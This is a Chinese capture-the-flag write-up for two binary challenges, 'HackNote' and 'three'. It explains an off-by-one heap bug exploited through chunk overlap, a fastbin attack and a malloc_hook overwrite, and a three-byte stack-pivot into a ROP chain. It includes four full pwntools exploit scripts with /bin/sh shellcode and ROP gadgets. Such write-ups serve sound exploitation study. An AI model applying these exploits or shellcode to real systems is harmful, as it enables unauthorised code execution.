HackNote
- 漏洞点: off by one(准确的来说这里可以说是off by heap_size)
- 利用姿势: overlap, fastbin attack, malloc hook
太菜鸡, 遇到个静态编译, 没有符号表我就差点认不出strlen函数了…
不仅仅是strlen函数, 还有strcpy, strcmp, puts, gets等, 遇到\x00才会截断. 这是因为\x00的特殊_含义, 代表了文件结束符…所以说以后遇到字符串操作的函数, 找漏洞点的时候都应该去考虑这个点.
首先看程序流, 堆菜单有add, delete, edit三个函数, bss段有一个数组用于存储堆地址, 并在数组的偏移16个地址单位存有堆的size, 没有问题. delete函数free后将指针置零,也没有问题. 问题出在edit函数.
如图, note_list是存储堆地址的数组, 那偏移16就是在存储size, 调试一下就知道这个数字随着每次输入的长度而改变. 猜测那个sub_0_424590就是strlen函数.
自然联想到off by one, 我们申请不对齐的空间(多0x8),就可以将下个堆块的size读入进来, 也就是说下次可以多读入堆的size这个字段所占的字节数.
由于这里没有对堆块大小的限制, 于是我们考虑比较容易利用的overlap.通过fastbin attack修改fd来实现修改malloc_hook来getshell.
申请0x18, 0x108, 0x100,0x10大小空间, 分布如下
然后我们释放堆块1, 通过堆块0的off by one 修改堆块1的0x110为0x100, 这样堆块2前就会有0x10的空闲空间, 这是为了接下来overlap的时候绕过验证.
然后申请0x80,0x30,0x20大小空间, 现在分布如下
由于之前释放堆块1的时候, 堆块2的prev_size变为了0x110, 而堆块2之前的存有的0x10空间,所以怎么也不会影响到prev_size, 于是我们释放堆块1,2,4, 其中2实现overlap,现在将堆块分布如下.
插一句, 我们通过overlap构造fastbin attack中的fastbin是现在的堆块2.
所以我们申请0xa0和0x30的空间, 前者大小能覆盖到后者堆块的fd位置就好, 并提前写入想attack的位置, 这样后者分配时就会将已写好的地址视为fd的指向,下次申请相同大小的空间时就会先申请fd指向的空间.
最后在malloc_hook注入shellcode地址即可.
exp1, 我写了自己的注释
exp2, 是郁离歌师傅的exp, 思路和exp1有所不同, 以后等熟练malloc_hook等的利用方式再对比来看.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| #-*-coding:utf8-*- from pwn import * context.terminal = ['tmux','splitw','-h'] context.log_level = 'debug' #if args['REMOTE']: #p = remote('183.129.189.62',21904) #else: p = process('./HackNote')
def add(size, note): p.sendline('1') p.sendlineafter('Input the Size:', str(size)) p.sendlineafter('Input the Note:', note) #p.recvuntil('Add Done!')
def free(index): p.sendline('2') p.sendlineafter('Input the Index of Note:', str(index))
def edit(index, new_note): p.sendline('3') p.sendlineafter('Input the Index of Note:', str(index)) p.sendlineafter('Input the Note:', new_note)
def debug(): print('malloc_hook 0x6cb788') print('fake_size 0x6cb830') print('fake_top 0x6cc290') print('note_list 0x6CBC40') print('heap 0x6cf870') gdb.attach(p)
def pwn(): malloc_hook = 0x6CB788 fake = malloc_hook-0x16 add(0x18,'0\n') #0 add(0x108,'\x00'*0xf0+p64(0x100)+'\n') #1 add(0x100,'2\n')#2 add(0x10,'3\n')#3 free(1) edit(0,'0'*0x18) edit(0,'0'*0x18+p16(0x100)) #110 -> 100 add(0x80,'111\n')#1 add(0x30,'4\n')#4 add(0x20,'5\n')#5 free(1) free(2) free(4) #0x6cf8a0 0x6cf9b0 0x6cf930 #chunk overlap, overlap #5->0x6cf970 #get a chunk which is 0x210 add(0xa0,'0'*0x88+p64(0x41)+p64(fake)+p64(0))#1 #let 0x6cf930 fake add(0x30,'2\n')#2 #0x6cf930 (0x6cb722 -> 0x6c0032) shellcode="" shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05" add(0x38,'\x00'*0x6+p64(malloc_hook+8)+shellcode+'\n') debug() p.interactive()
pwn()
|
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import * #r=process('./HackNote') r=remote('183.129.189.62',11104) context(arch = 'amd64', os = 'linux') def gd(): gdb.attach(r) pause()
def add(size,content): r.sendlineafter('-----------------','1') r.sendlineafter('nput the Size:',str(size)) r.sendafter('he Note:',content)
def free(idx): r.sendlineafter('-----------------','2') r.sendlineafter('the Index of Note:',str(idx))
def edit(idx,content): r.sendlineafter('-----------------','3') r.sendlineafter('Note',str(idx)) r.sendafter('Input the Note:',content)
fake=0x06CBC40 free_hook=0x6CD5E8 malloc_hook=0x6CB788 sc=asm(shellcraft.sh()) sc=''' xor rdi,rdi push 0x6cbc40 pop rsi push 0x100 pop rbx push 0 pop rax syscall push 0x6cbc40 ret ''' sc=asm(sc) print shellcraft.sh() print hex(len(sc)) add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0 add(0xf8,'aaaan')#1 add(0x38,'bbbbn')#2 add(0x50,'ccccn')#3 edit(0,'a'*0xf8) edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01') free(1) add(0xf8,'aaaan')#1 add(0x38,p64(malloc_hook-0xe-8)+'n')#4 free(2) edit(4,p64(malloc_hook-0xe-8)+'n') add(0x38,p64(malloc_hook-0xe-8)+'n')#2 add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n') r.sendline('1') r.recvuntil('Input the Size:n') r.sendline('123') r.sendline(asm(shellcraft.sh())) r.interactive()
|
three
- 漏洞: 文件读取服务器上的flag
- 利用姿势: 这种题关键是理解程序逻辑, 注意细节. 一般考虑fsb, 下标越界, 整数溢出等, 只是没想到要植入汇编… 可以类比pwnable.tr上的orw
我一开始被前面出现的一个函数误导了, 天真地以为这里和flag进行对比完之后就可以获取正确flag(逆向思路?) 结果发现最后还是得获取权限…
这个函数长这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int sub_0_80488C5() { int *v1; // [esp+Ch] [ebp-Ch]
sub_0_8050890(off_0_80F5438, 0, 2, 0); sub_0_8050890(off_0_80F543C, 0, 2, 0); sub_0_8050890(off_0_80F5434[0], 0, 2, 0); v1 = (int *)sub_0_80505B0((int)"./flag", (int)&unk_0_80C4788); if ( !v1 ) exit(0); sub_0_80505D0((int)&unk_0_80F6CA0, 1u, 32, v1); sub_0_8050100(v1); return sub_0_8070760(0); }
|
如果该目录下没有flag这个文件,则直接终止. 所以现在pwn文件同目录中创建一个flag文件.
然后checksec发现没开pie.
函数的主要部分在这
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| int sub_0_8048B5C() { int result; // eax char v1; // [esp-10h] [ebp-38h] int v2; // [esp-Ch] [ebp-34h] int size; // [esp+Ch] [ebp-1Ch] int chr; // [esp+10h] [ebp-18h] void *ptr; // [esp+14h] [ebp-14h] int v6; // [esp+18h] [ebp-10h] unsigned int v7; // [esp+1Ch] [ebp-Ch]
v7 = __readgsdword(0x14u); myprint((int)"Give me a index:"); chr = get_the_char(array);
ptr = (void *)sub_0_8071C50(0, 0x1000u, 7, 34, 0, 0); myprint((int)"Three is good number,I like it very much!"); read(0, ptr, 3u); myprint((int)"Leave you name of size:"); scanf("%d", &size); if ( size < 0 || size > 0x200 ) exit(0); myprint((int)"Tell me:"); read(0, &unk_0_80F6CC0, size - 1); v6 = ((int (__cdecl *)(signed int))ptr)(1); if ( chr == v6 ) result = myprint((int)"1"); else result = myprint((int)"2"); if ( __readgsdword(0x14u) != v7 ) result = sub_0_8073110(v1, v2); return result; }
|
函数逻辑比较清晰, 就是读三个字节执行,然后和 flag 进行判断。看汇编, 发现这确实是个调用了一个函数.
那就下断点静态调试, 下在0x8048c50, 慢慢过去.
输入如图, 两个字符串分别为abc,cba
看到步进到0x8048c5b的前后对比. eip指向的指令是call eax, 而eax地址内的内容是我们刚输入的 abc,而ecx地址内的内容是刚刚输入的 cba, 所以现在的漏洞利用思路是 将eax转换成一条交换指令, 使ecx地址内的内容和esp交换,而ecx内的内容是我们植入的恶意代码.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context.arch = 'i386' sh = process('./pwn') sh.sendlineafter('index:\n', str(0)) payload = asm(''' xchg ecx, esp ret ''') sh.sendafter('much!\n',payload) sh.sendlineafter('size:\n',str(0x1ff))
layout = [ 0x08072fb1, 0, 0, 0x80f6d00, 0x080c11e6, 11, 0x080738c0, ] sh.sendafter('me:\n',flat(layout).ljust(0x40, '\0')+ '/bin/sh\0') sh.interactive()
|
这里的限制0x40没去深入理解, 调了发现0x40可以就放着儿了, 清晰点的逻辑也可看下面这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level = 'debug'
#p = process('./pwn') p = remote() p.sendlineafter('Give me a index:','3') migStack = '\x89\xcc\xc3' p.sendafter('Three is good number,I like it very much!',migStack) binsh_len = len('/bin/sh\x00') pop_ecx_ebx = 0x08072fb2 pop_eax_edx_ebx = 0x080568b4 int80 = 0x08049903 shellcode = p32(pop_ecx_ebx) + p32(0) + p32(0) +p32(pop_eax_edx_ebx) + p32(0xb) + p32(0) + p32(0x80f6ce1) + p32(int80) p.sendlineafter('Leave you name of size:','500') p.sendlineafter('Tell me:',shellcode +'\x00'+'/bin/sh\x00') p.interactive()
|